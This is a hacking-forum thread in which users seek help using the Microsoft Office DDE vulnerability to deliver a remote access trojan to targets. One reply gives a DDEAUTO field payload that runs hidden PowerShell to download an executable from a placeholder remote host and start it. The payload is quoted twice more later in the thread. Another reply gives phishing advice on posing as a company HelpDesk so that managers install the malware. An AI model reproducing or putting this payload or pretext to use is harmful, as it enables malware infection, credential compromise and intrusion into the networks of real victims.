

Forum:[Hack Forums](#)

Thread: [How to exploit unpatched Microsoft Office DDE Vulnerability](#)

Fire_Star - November 8, 2017, 6:41 am

Hello Friends,

I want to know how to exploit Microsoft Office DDE vulnerability to send RAT Server to Target.

There are tutorials on the web to get a meterpreter shell. I am talking about sending and executing RAT Server.

Probably using Word or Excel.

If anybody can help, will appreciate it.

Thanx and Regards.

karsina - November 9, 2017, 7:43 pm

also i need good tutorial for this

Fire_Star - November 10, 2017, 3:38 am

There are Tutorials on the web for getting a meterpreter shell but i could not find any regarding sending RAT Server

(Nov 9, 2017 08:43 PM)karsina Wrote: [\[CITE\]](#) also i need good tutorial for this
There are Tutorials on the web for getting a meterpreter shell but i could not find any regarding sending RAT Server

Astraviruzz - November 10, 2017, 7:39 am

PM ME I CAN HELP YOU!

BUT THE EXPLOIT IS NOT FUD SO IDK WHAT UR GOING TO DO!

set-fighter - November 10, 2017, 10:28 am

I taught something like this should work

Hit CTRL+F9

Add something like this between the {} brackets

DDEAUTO

```
"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -C $e=(new-object System.Net.WebClient).DownloadFile('http://*directlink*.to/your.exe',($env:temp + 'your.exe'));powershell.exe Start-Process ($env:temp + 'your.exe') # " "Filings_and_Forms.docx"
```

ANBU88 - November 15, 2017, 1:57 pm

i believe there is a linux script for this

Hopsin - November 16, 2017, 7:22 am

A quick google search, showed me this:

<https://null-byte.wonderhowto.com/how-to/exploit-dde-microsoft-office-defend-against-dde-based-attacks-0180706/>

Not sure if this accurate, works or overall legit but use it at your risk. Hope I helped, have a nice day.

Fire_Star - November 18, 2017, 4:00 am

(Nov 16, 2017 08:22 AM)Hopsin Wrote: [\[CITE\]](#) A quick google search, showed me this:

<https://null-byte.wonderhowto.com/how-to/exploit-dde-microsoft-office-defend-against-dde-based-attacks-0180706/>

Not sure if this accurate, works or overall legit but use it at your risk. Hope I helped, have a nice day.

Yes, I have read this Article...The code can somehow be tweaked to download/execute a RAT Server on a remote pc...Thats what i am looking for

(Nov 10, 2017 11:28 AM)set-fighter Wrote: [\[CITE\]](#) I taught something like this should work

Hit CTRL+F9

Add something like this between the {} brackets

DDEAUTO

```
"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -C $e=(new-object System.Net.WebClient).DownloadFile('http://*directlink*.to/your.exe',($env:temp + 'your.exe'));powershell.exe Start-Process ($env:temp + 'your.exe') # " "Filings_and_Forms.docx"
Hi Friend,
```

Like you have suggested, Can we use this with Excel or could you pm me the code for Excel to download/execute Rat server on remote pc

Thanx and Regards

(Nov 10, 2017 08:39 AM)Astraviruzz Wrote: [\[CITE\]](#) PM ME I CAN HELP YOU!

BUT THE EXPLOIT IS NOT FUD SO IDK WHAT UR GOING TO DO!

Pm'ed you my friend.....thanx for your help

CyberStrike - November 18, 2017, 5:52 am

(Nov 10, 2017 11:28 AM)set-fighter Wrote: [\[CITE\]](#) I taught something like this should work

Hit CTRL+F9

Add something like this between the {} brackets

DDEAUTO

```
"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -C $e=(new-object System.Net.WebClient).DownloadFile('http://*directlink*.to/your.exe',($env:temp + 'your.exe'));powershell.exe Start-Process ($env:temp + 'your.exe') # " "Filings_and_Forms.docx"
```

There ya go use powershell to download and execute the payload ?

Macro's are not FUD yet users run them all day everyday. Think about this scenario you get an email from HelpDesk at your work, they inform you that they need all management of various departments to install a program which will help track employees who might visit non-company sites,, the HelpDesk has a well written out guide. Of course these people who will be installing a monitoring software also head up various OU's on our target network, they can unlock accounts for various members in their OU's and groups maybe even add users to their OU. People at high levels of business and even govt fall for this stuff everyday. Making things look legit is the key as well as being resourceful.

Fadex69 - November 20, 2017, 7:04 am

Very very helpful thanks :))